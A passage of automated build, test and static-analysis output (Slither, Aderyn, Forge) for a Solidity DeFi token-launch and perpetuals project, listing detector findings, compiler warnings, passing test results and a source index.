initialized\n[medium/medium] unused-return at src/perps/PerpEngine.sol:314: PerpEngine._slot0() (src/perps/PerpEngine.sol#314) ignores return value by (s,t,None,None) = poolManager.getSlot0(poolId) (src/perps/PerpEngine.sol#314)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:570: PerpSwapLib._grossUp(IPoolManager,PoolKey,bool,uint256) (src/perps/PerpSwapLib.sol#570-580) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,PoolIdLibrary.toId(key)) (src/perps/PerpSwapLib.sol#575)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:150: IMD6900LockedPool.open(address,uint160,uint256) (src/IMD6900LockedPool.sol#150-171) ignores return value by poolManager.initialize(poolKey(),start) (src/IMD6900LockedPool.sol#162)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:500: IMD6900RobinhoodLaunch.harvest() (src/IMD6900RobinhoodLaunch.sol#500-503) ignores return value by pool.collect() (src/IMD6900RobinhoodLaunch.sol#501)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:352: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#352-363) ignores return value by poolManager.settle{value: uint256(uint128(- a0))}() (src/IMD6900LockedPool.sol#354)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:289: IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address) (src/IMD6900RobinhoodLaunch.sol#289-319) ignores return value by pool.open(t,sqrtPriceX96,SUPPLY) (src/IMD6900RobinhoodLaunch.sol#304)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-197) ignores return value by poolManager.initialize(poolKey(),sqrtPriceX96) (src/IMD6900LockedPool.sol#192)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:366: IMD6900LockedPool._liquidityFor(uint256,uint256) (src/IMD6900LockedPool.sol#366-381) ignores return value by (p,None,None,None) = poolManager.getSlot0(poolKey().toId()) (src/IMD6900LockedPool.sol#367)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:509: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#509-542) ignores return value by poolManager.settle{value: ethIn}() (src/IMD6900RobinhoodLaunch.sol#539)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:209: IMD6900LockedPool.collect() (src/IMD6900LockedPool.sol#209-213) ignores return value by poolManager.unlock(abi.encode(COLLECT,uint128(0))) (src/IMD6900LockedPool.sol#211)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:352: IMD6900LockedPool._settle(int128,int128) (src/IMD6900LockedPool.sol#352-363) ignores return value by poolManager.settle() (src/IMD6900LockedPool.sol#359)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:178: IMD6900LockedPool.lowerFee(uint24) (src/IMD6900LockedPool.sol#178-197) ignores return value by (sqrtPriceX96,None,None,None) = poolManager.getSlot0(old.toId()) (src/IMD6900LockedPool.sol#189)\n[medium/medium] unused-return at src/IMD6900Hook.sol:106: IMD6900Hook.perpFeeBps() (src/IMD6900Hook.sol#106-112) ignores return value by (None,None,protocolFee,None) = StateLibrary.getSlot0(poolManager,poolId) (src/IMD6900Hook.sol#108)\n[medium/medium] unused-return at src/IMD6900LockedPool.sol:304: IMD6900LockedPool.state() (src/IMD6900LockedPool.sol#304-308) ignores return value by (sqrtPriceX96,tick,None,None) = poolManager.getSlot0(id) (src/IMD6900LockedPool.sol#306)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:509: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#509-542) ignores return value by (None,back) = pool.feeRefund(address(this)) (src/IMD6900RobinhoodLaunch.sol#522)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle{value: amount}() (src/perps/PerpSwapLib.sol#598)\n[medium/medium] unused-return at src/perps/PerpSwapLib.sol:595: PerpSwapLib._settle(IPoolManager,Currency,uint256) (src/perps/PerpSwapLib.sol#595-610) ignores return value by poolManager.settle() (src/perps/PerpSwapLib.sol#608)\n[medium/medium] unused-return at src/IMD6900RobinhoodLaunch.sol:509: IMD6900RobinhoodLaunch.unlockCallback(bytes) (src/IMD6900RobinhoodLaunch.sol#509-542) ignores return value by poolManager.settle() (src/IMD6900RobinhoodLaunch.sol#527)\n[low/medium] events-maths at src/perps/PerpEngine.sol:1078: PerpEngine.setShortCap(uint256) (src/perps/PerpEngine.sol#1078-1081) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1105: PerpEngine.setVaultLimits(uint256,uint256) (src/perps/PerpEngine.sol#1105-1108) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1088: PerpEngine.setVaultSplit(uint256,uint256) (src/perps/PerpEngine.sol#1088-1091) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1116: PerpEngine.skimInsurance(uint256,address) (src/perps/PerpEngine.sol#1116-1121) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1061: PerpEngine.setFees(uint256,uint256,uint256) (src/perps/PerpEngine.sol#1061-1064) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1094: PerpEngine.setGuards(uint32,uint256,uint256) (src/perps/PerpEngine.sol#1094-1097) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:1067: PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256) (src/perps/PerpEngine.sol#1067-1075) should emit an event for: \n[low/medium] events-maths at src/perps/PerpEngine.sol:406: PerpEngine.openLong(uint8,uint256) (src/perps/PerpEngine.sol#406-429) should emit an event for: \n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:140: IMD6900LockedPool.setHook(address).hook_ (src/IMD6900LockedPool.sol#140) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpVault.sol:198: PerpVault.constructor(address)._engine (src/perps/PerpVault.sol#198) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).timelock_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:123: IMD6900LockedPool.constructor(IPoolManager,uint24,address,address).launcher_ (src/IMD6900LockedPool.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1083: PerpEngine.setFeeSink(address)._feeSink (src/perps/PerpEngine.sol#1083) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:79: IMD6900Hook.constructor(IPoolManager,address,address).pool_ (src/IMD6900Hook.sol#79) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:1100: PerpEngine.setVault(address)._vault (src/perps/PerpEngine.sol#1100) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:200: IMD6900LockedPool.setCoinFeeTo(address).to (src/IMD6900LockedPool.sol#200) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:432: IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address).hooks (src/IMD6900RobinhoodLaunch.sol#432) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:132: IMD6900Hook.initPerpEngine(address).engine (src/IMD6900Hook.sol#132) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:173: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).timelock_ (src/IMD6900RobinhoodLaunch.sol#173) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900Hook.sol:124: IMD6900Hook.setPerpEngine(address).engine (src/IMD6900Hook.sol#124) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900RobinhoodLaunch.sol:173: IMD6900RobinhoodLaunch.constructor(address,IPoolManager,address,address).imdstr_ (src/IMD6900RobinhoodLaunch.sol#173) lacks a zero-check on :\n[low/medium] missing-zero-check at src/IMD6900LockedPool.sol:150: IMD6900LockedPool.open(address,uint160,uint256).token_ (src/IMD6900LockedPool.sol#150) lacks a zero-check on :\n[low/medium] missing-zero-check at src/perps/PerpEngine.sol:266: PerpEngine.constructor(IPoolManager,address,address,uint24,int24,address,address)._feeSink (src/perps/PerpEngine.sol#266) lacks a zero-check on :\n[low/medium] calls-loop at src/IMD6","passed":true},{"durationMs":938,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/IMD6900RobinhoodLaunch.sol:232: `abi.encodePacked()` Hash Collision (3 places)\n[high] contract-locks-ether at src/IMD6900Hook.sol:41: Contract locks Ether without a withdraw function (3 places)\n[high] eth-send-unchecked-address at src/perps/PerpEngine.sol:955: ETH transferred without address checks\n[high] reentrancy-state-change at src/IMD6900LockedPool.sol:162: Reentrancy: State change after external call (19 places)\n[high] storage-array-memory-edit at src/perps/PerpEngine.sol:682: Storage Array Edited with Memory\n[high] unsafe-casting at src/perps/PerpEngine.sol:864: Unsafe Casting of integers\n[low] centralization-risk at src/IMD6900Hook.sol:41: Centralization Risk (24 places)\n[low] costly-loop at src/IMD6900RobinhoodLaunch.sol:353: Costly operations inside loop (5 places)\n[low] large-numeric-literal at src/IMD6900.sol:11: Large Numeric Literal (22 places)\n[low] literal-instead-of-constant at src/IMD6900Hook.sol:107: Literal Instead of Constant (32 places)\n[low] local-variable-shadowing at src/perps/PerpEngine.sol:267: Local Variable Shadows State Variable\n[low] non-reentrant-not-first at src/IMD6900RobinhoodLaunch.sol:275: `nonReentrant` is Not the First Modifier (7 places)\n[low] push-zero-opcode at src/IMD6900.sol:2: PUSH0 Opcode (7 places)\n[low] require-revert-in-loop at src/IMD6900RobinhoodLaunch.sol:353: Loop Contains `require`/`revert` (4 places)\n[low] state-change-without-event at src/perps/PerpEngine.sol:320: State Change Without Event (13 places)\n[low] state-no-address-check at src/IMD6900Hook.sol:125: Address State Variable Set Without Checks (9 places)\n[low] unchecked-return at src/IMD6900LockedPool.sol:162: Unchecked Return (10 places)\n[low] uninitialized-local-variable at src/IMD6900RobinhoodLaunch.sol:465: Uninitialized Local Variable (7 places)\n[low] unsafe-erc20-operation at src/perps/PerpSwapLib.sol:454: Unsafe ERC20 Operation (3 places)\n[low] unspecific-solidity-pragma at src/IMD6900.sol:2: Unspecific Solidity Pragma (6 places)\n[low] unused-error at src/perps/PerpVault.sol:190: Unused Error (2 places)\n[low] unused-import at src/perps/PerpVault.sol:5: Unused Import\n[low] unused-public-function at src/IMD6900Hook.sol:106: Public Function Not Used Internally (3 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"3ab619b1b7ffba3250e0dfb1dd52fd618609c073ad6807fe22a0804610144d8c","verifiedTreeHash":"3f6aba67efed836249a8d4cea9875d4816715ce0","verifierVersion":"0.1.0+327e1e9f"},{"checks":[{"durationMs":66767,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 66.59s\nCompiler run successful with warnings:\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpEngine.sol:349:5:\n    |\n349 |     function _quoteAt(uint256 size, uint256 sp) internal view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (2018): Function state mutability can be restricted to pure\n   --> src/perps/PerpVault.sol:364:5:\n    |\n364 |     function _toYieldUnit(uint256 v) private view returns (uint256) {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\n","passed":true},{"durationMs":648,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[PASS] test_TheWholeLaunchOnRobinhood() (gas: 2548)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 481.42µs (37.34µs CPU time)\n\nRan 1 test for test/FactoryAdmission.t.sol:FactoryAdmissionTest\n[PASS] test_ExactFactoryArgumentsNeedNoExistingCodeOrInitialization() (gas: 8196777)\nLogs:\n  factory deployment gas: 7911480\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.26ms (994.26µs CPU time)\n\nRan 2 tests for test/PerpOracle.t.sol:PerpOracleTest\n[PASS] testFuzz_OracleConstantTickSurvivesEverySearchWindow(int24,uint32) (runs: 256, μ: 4156640, ~: 3938305)\nLogs:\n  Bound result 0\n  Bound result 594\n\n[PASS] test_OracleFindsTheWindowBeforeAndAfterRingWrap() (gas: 8623663)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 115.08ms (118.68ms CPU time)\n\nRan 46 tests for test/IMD6900RobinhoodLaunch.t.sol:IMD6900RobinhoodLaunchTest\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 2968572)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257441)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459364)\n[PASS] test_ClaimsOneForOne() (gas: 1577805)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208607)\n[PASS] test_DeploysOnAFreshChain() (gas: 5947501)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4116424)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2332613)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1298733)\n[PASS] test_FitsOneTransaction() (gas: 4095180)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 7825\n  createHook gas: 1266599\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1839888)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1428723)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1306726)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298365)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2199205)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1966210)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2078761)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 1997701)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 178878)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1969170)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1296501)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 67989)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 91539)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117775)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1795418)\n[PASS] test_PassesTheAdmissionScan() (gas: 15221599)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1449549)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702318)\n[PASS] test_RefusesTheWrongAddress() (gas: 709787)\n[PASS] test_RepeatedBurnsCannotDrainTheBucketAtOneTimestamp() (gas: 3426307)\n[PASS] test_RevertedBurnDoesNotConsumeTheLimit() (gas: 3224736)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273371)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1214923)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800437)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1231924)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295306)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2676273)\n[PASS] test_TheFeeIsStatic() (gas: 1581539)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5231637)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343621)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21856)\n[PASS] test_TheLiquidityIsLocked() (gas: 2153942)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311326)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2198711)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1647231)\n[PASS] test_TradesBothWays() (gas: 1553902)\nSuite result: ok. 46 passed; 0 failed; 0 skipped; finished in 463.85ms (202.51ms CPU time)\n\nRan 50 tests for test/AuditRefund.t.sol:AuditRefundTest\n[PASS] test_BurnsImdThroughItsExecutor() (gas: 2968616)\n[PASS] test_ClaimsCantChangeAfterTheLaunch() (gas: 1257507)\n[PASS] test_ClaimsNeedTheSnapshot() (gas: 1459452)\n[PASS] test_ClaimsOneForOne() (gas: 1577827)\n[PASS] test_ClaimsStayOpenNinetyDays() (gas: 208673)\n[PASS] test_DeploysOnAFreshChain() (gas: 5947545)\n[PASS] test_EachDeployerMinesItsOwnHook() (gas: 4116490)\n[PASS] test_EndingTheClaimsBringsMostOfTheBuyBack() (gas: 2332679)\nLogs:\n  back of the 2.81 ETH buy (C's claim kept by C): 2.733687356599550457\n\n[PASS] test_EthComesBackBeforeTheLaunchOnly() (gas: 1298799)\n[PASS] test_FitsOneTransaction() (gas: 4095268)\nLogs:\n  launch deploy gas (the same for every deployer: no mining): 7825\n  createHook gas: 1266599\n\n[PASS] test_HarvestSplitsTheEthAndBurnsTheCoin() (gas: 1839932)\nLogs:\n  pot bridge: 0.511887600000000000\n\n[PASS] test_KeepsTheExcessForTheTimelock() (gas: 1428789)\n[PASS] test_LaunchesAtEthereumsPrice() (gas: 1306770)\nLogs:\n  opening buy, coins: 122347490.873046793208740802\n  market cap after the buy, ETH on 1B: 25.007184312087223619\n\n[PASS] test_LaunchesOnce() (gas: 1298409)\n[PASS] test_LowerFeeMovesTheLiquidity() (gas: 2199205)\n[PASS] test_NoClaimsAllOfItBack() (gas: 1966276)\nLogs:\n  back of the 2.81 ETH buy, nobody claimed: 2.809793719288388119\n\n[PASS] test_NoFeeMoveWhilePerpsAreOpen() (gas: 2078827)\n[PASS] test_OnlyTheEngineAndTheLaunchAreRefunded() (gas: 1997723)\n[PASS] test_OnlyTheOwnerLaunches() (gas: 178878)\n[PASS] test_OnlyTheTimelockLowersTheFeeAndOnlyDown() (gas: 1969214)\n[PASS] test_OnlyTheTimelockRecoversEth() (gas: 1296545)\n[PASS] test_OnlyTheTimelockRepointsImdsPool() (gas: 68055)\n[PASS] test_OnlyTheTimelockRepointsTheBurnExecutor() (gas: 91605)\n[PASS] test_OnlyTheTimelockRunsTheHook() (gas: 117841)\n[PASS] test_OnlyTheTimelockSetsTheSplit() (gas: 1795440)\n[PASS] test_PassesTheAdmissionScan() (gas: 15221665)\n[PASS] test_PerpFeesGoAllToThePot() (gas: 1449615)\n[PASS] test_RefusesAnAddressThatIsnt0x6900() (gas: 702384)\n[PASS] test_RefusesTheWrongAddress() (gas: 709853)\n[PASS] test_RepeatedBurnsCannotDrainTheBucketAtOneTimestamp() (gas: 3426378)\n[PASS] test_RevertedBurnDoesNotConsumeTheLimit() (gas: 3224802)\n[PASS] test_SellHeldRefundExcludesPreTradeLongSettlement() (gas: 3081868)\n[PASS] test_SellHeldRefundExcludesPreTradeShortSettlement() (gas: 3094127)\n[PASS] test_SellHeldRefundSurvivesPostTradeLongSettlement() (gas: 3082282)\n[PASS] test_SellHeldRefundSurvivesPostTradeShortSettlement() (gas: 3095073)\n[PASS] test_SendsTheExcessWhereTold() (gas: 1273371)\n[PASS] test_TheBuyMustCoverTheClaims() (gas: 1214967)\n[PASS] test_TheCoinFeeGoesWhereTheTimelockSays() (gas: 1800501)\n[PASS] test_TheCoinIsAt0x6900() (gas: 1231990)\nLogs:\n  the coin: 0x6900d11750039d7Ef0f8262b5a62152BB906B8E8\n\n[PASS] test_TheCoinIsPlain() (gas: 1295372)\n[PASS] test_TheEngineTradesFeeFree() (gas: 2676273)\n[PASS] test_TheFeeIsStatic() (gas: 1581605)\n[PASS] test_TheHookIsCreatedOnceAtAFittingSalt() (gas: 5231725)\n[PASS] test_TheHookReportsTheEnginesFee() (gas: 1343665)\n[PASS] test_TheHooksAddressAndPermissions() (gas: 21900)\n[PASS] test_TheLiquidityIsLocked() (gas: 2153942)\n[PASS] test_ThePerpsEngineTradesThroughTheHook() (gas: 2311370)\n[PASS] test_TheTimelockSellsTheExcessBack() (gas: 2198733)\nLogs:\n  the excess alone, sold back: ETH: 1.369450260279234059\n\n[PASS] test_TheUnclaimedRestAfterTheDeadline() (gas: 1647297)\n[PASS] test_TradesBothWays() (gas: 1553968)\nSuite result: ok. 50 passed; 0 failed; 0 skipped; finished in 463.92ms (235.87ms CPU time)\n\nRan 14 tests for test/Perps.t.sol:PerpsTest\n[PASS] testFuzz_OutsideSalesDoNotCreateLongBadDebt(uint96,uint8) (runs: 256, μ: 4443624, ~: 3985113)\nLogs:\n  Bound result 3204070902763866232\n  Bound result 3\n\n[PASS] test_AHealthyMinimumLongStillBlocksAFeeMoveAfterAYear() (gas: 1459965)\n[PASS] test_ALongRoundTripPaysNoPoolFee() (gas: 1066723)\nLogs:\n  a 0.1 ETH 5x long, opened and closed: back: 0.093099999999999968\n\n[PASS] test_AShortRoundTrip() (gas: 1853126)\nLogs:\n  a 0.1 ETH 3x short, opened and closed: back: 0.093099999999999998\n\n[PASS] test_AWhaleDumpLiquidatesInTheHooksSweepFirst() (gas: 1892016)\n[PASS] test_AuditDrainCannotSpendTheLongsOwnTokens() (gas: 6527042)\nLogs:\n  real remaining ETH: 0.188828133383275938\n  long principal: 0.093100000000000000\n  virtual ETH depth: 19.451210191086801492\n\n[PASS] test_EthVaultExitQueuesTheLoanAndRecoversItAfterClose() (gas: 1224018)\n[PASS] test_NoFeeMoveWithAPositionOpen() (gas: 657686)\n[PASS] test_OnlyTheTimelockTunesThePerps() (gas: 120313)\n[PASS] test_PerpFeesReachThePot() (gas: 702594)\n[PASS] test_ThePerpsAreCreatedAndWired() (gas: 145468)\n[PASS] test_ThePerpsCodeIsTheAuditedCode() (gas: 44927969)\n[PASS] test_ThePerpsPassTheAdmissionScan() (gas: 14690882)\n[PASS] test_TokenVaultExitAndYieldStaySeparateFromEthStakers() (gas: 2434748)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 479.44ms (641.92ms CPU time)\n\nRan 6 test suites in 480.60ms (1.52s CPU time): 114 tests passed, 0 failed, 0 skipped (114 total tests)\n","passed":true},{"durationMs":124,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900.approve(address,uint256)\",\"IMD6900.burn(uint256)\",\"IMD6900.permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\",\"IMD6900.transfer(address,uint256)\",\"IMD6900.transferFrom(address,address,uint256)\",\"IMD6900Hook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900Hook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900Hook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900Hook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900Hook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900Hook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900Hook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900Hook.cancelOwnershipHandover()\",\"IMD6900Hook.completeOwnershipHandover(address)\",\"IMD6900Hook.initPerpEngine(address)\",\"IMD6900Hook.renounceOwnership()\",\"IMD6900Hook.requestOwnershipHandover()\",\"IMD6900Hook.setPerpEngine(address)\",\"IMD6900Hook.setPerpRefunded(bool)\",\"IMD6900Hook.setSweepFailOpen(bool)\",\"IMD6900Hook.transferOwnership(address)\",\"IMD6900LockedPool.collect()\",\"IMD6900LockedPool.createPerps(bytes,bytes)\",\"IMD6900LockedPool.feeCheckpoint()\",\"IMD6900LockedPool.feeRefund(address)\",\"IMD6900LockedPool.lowerFee(uint24)\",\"IMD6900LockedPool.open(address,uint160,uint256)\",\"IMD6900LockedPool.receive()\",\"IMD6900LockedPool.setCoinFeeTo(address)\",\"IMD6900LockedPool.setHook(address)\",\"IMD6900LockedPool.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.addFees()\",\"IMD6900RobinhoodLaunch.addPerpFees()\",\"IMD6900RobinhoodLaunch.burnImd(uint256)\",\"IMD6900RobinhoodLaunch.cancelOwnershipHandover()\",\"IMD6900RobinhoodLaunch.claim(uint256,uint256,bytes32[])\",\"IMD6900RobinhoodLaunch.completeOwnershipHandover(address)\",\"IMD6900RobinhoodLaunch.createHook(bytes32)\",\"IMD6900RobinhoodLaunch.endClaims()\",\"IMD6900RobinhoodLaunch.harvest()\",\"IMD6900RobinhoodLaunch.launch(bytes32,address,uint160,uint256,address)\",\"IMD6900RobinhoodLaunch.receive()\",\"IMD6900RobinhoodLaunch.recoverEth(address,uint256)\",\"IMD6900RobinhoodLaunch.releaseExcess(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseImdstr(uint256,address)\",\"IMD6900RobinhoodLaunch.releaseUnclaimed(address)\",\"IMD6900RobinhoodLaunch.renounceOwnership()\",\"IMD6900RobinhoodLaunch.requestOwnershipHandover()\",\"IMD6900RobinhoodLaunch.sellHeld(uint256,uint256,address)\",\"IMD6900RobinhoodLaunch.setClaims(bytes32,uint256,uint256)\",\"IMD6900RobinhoodLaunch.setImdBurn(address)\",\"IMD6900RobinhoodLaunch.setImdPool(uint24,int24,address)\",\"IMD6900RobinhoodLaunch.setPayees(address[],uint16[])\",\"IMD6900RobinhoodLaunch.setPerpFeeTo(address)\",\"IMD6900RobinhoodLaunch.split()\",\"IMD6900RobinhoodLaunch.transferOwnership(address)\",\"IMD6900RobinhoodLaunch.unlockCallback(bytes)\",\"IMD6900RobinhoodLaunch.withdrawEth(address,uint256)\",\"PerpEngine.claimPayout()\",\"PerpEngine.close(uint256,uint256)\",\"PerpEngine.flushFees()\",\"PerpEngine.fundFromVault()\",\"PerpEngine.fundInsurance()\",\"PerpEngine.fundPlv()\",\"PerpEngine.fundPlvToken(uint256)\",\"PerpEngine.fundTokenFromVault(uint256)\",\"PerpEngine.liquidate(uint256)\",\"PerpEngine.openLong(uint8,uint256)\",\"PerpEngine.openShort(uint8,uint256)\",\"PerpEngine.poke()\",\"PerpEngine.receive()\",\"PerpEngine.selfSweep(address)\",\"PerpEngine.setFeeSink(address)\",\"PerpEngine.setFees(uint256,uint256,uint256)\",\"PerpEngine.setGuards(uint32,uint256,uint256)\",\"PerpEngine.setMinCollateral(uint256)\",\"PerpEngine.setRisk(uint8,uint256,uint256,uint256,uint256)\",\"PerpEngine.setShortCap(uint256)\",\"PerpEngine.setVault(address)\",\"PerpEngine.setVaultLimits(uint256,uint256)\",\"PerpEngine.setVaultSplit(uint256,uint256)\",\"PerpEngine.skimInsurance(uint256,address)\",\"PerpEngine.sweepLiquidations(address,int256,bool,uint160)\",\"PerpEngine.transferOwnership(address)\",\"PerpEngine.unlockCallback(bytes)\",\"PerpEngine.withdrawPlvTo(uint256,address)\",\"PerpEngine.withdrawPlvTokenTo(uint256,address)\",\"PerpEngine.withdrawTokYieldTo(uint256,address)\",\"PerpVault.claimPendingEth()\",\"PerpVault.claimPendingToken()\",\"PerpVault.claimTokYield()\",\"PerpVault.depositEth()\",\"PerpVault.depositToken(uint256)\",\"PerpVault.settlePendingEth(address)\",\"PerpVault.settlePendingToken(address)\",\"PerpVault.withdrawEth(uint256)\",\"PerpVault.withdrawToken(uint256)\"],\"files\":{\".gitignore\":15,\"ADAPTATION.md\":67,\"README.md\":144,\"foundry.toml\":30,\"jobs/swarm-launch.json\":27,\"script/claims.py\":88,\"script/launch.sh\":269,\"script/mine.sh\":12,\"script/params.py\":64,\"script/programmable_plan.py\":205,\"snapshots/rh-community-2026-10-09.json\":56,\"src/IMD6900.sol\":29,\"src/IMD6900Hook.sol\":255,\"src/IMD6900LockedPool.sol\":431,\"src/IMD6900RobinhoodLaunch.sol\":560,\"src/perps/PerpEngine.sol\":1160,\"src/perps/PerpSwapLib.sol\":729,\"src/perps/PerpVault.sol\":823,\"test/AuditRefund.t.sol\":109,\"test/FactoryAdmission.t.sol\":51,\"test/HookSalt.sol\":48,\"test/IMD6900RobinhoodLaunch.t.sol\":1070,\"test/PerpOracle.t.sol\":59,\"test/Perps.t.sol\":422,\"test/RobinhoodFork.t.sol\":255},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":22707,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/perps/PerpEngine.sol:948: PerpEngine._sendEth(address,uint256) (src/perps/PerpEngine.sol#948-952) sends eth to arbitrary user\n[high/medium] arbitrary-send-eth at src/IMD6900LockedPool.sol:395: IMD6900LockedPool._payOutHeld() 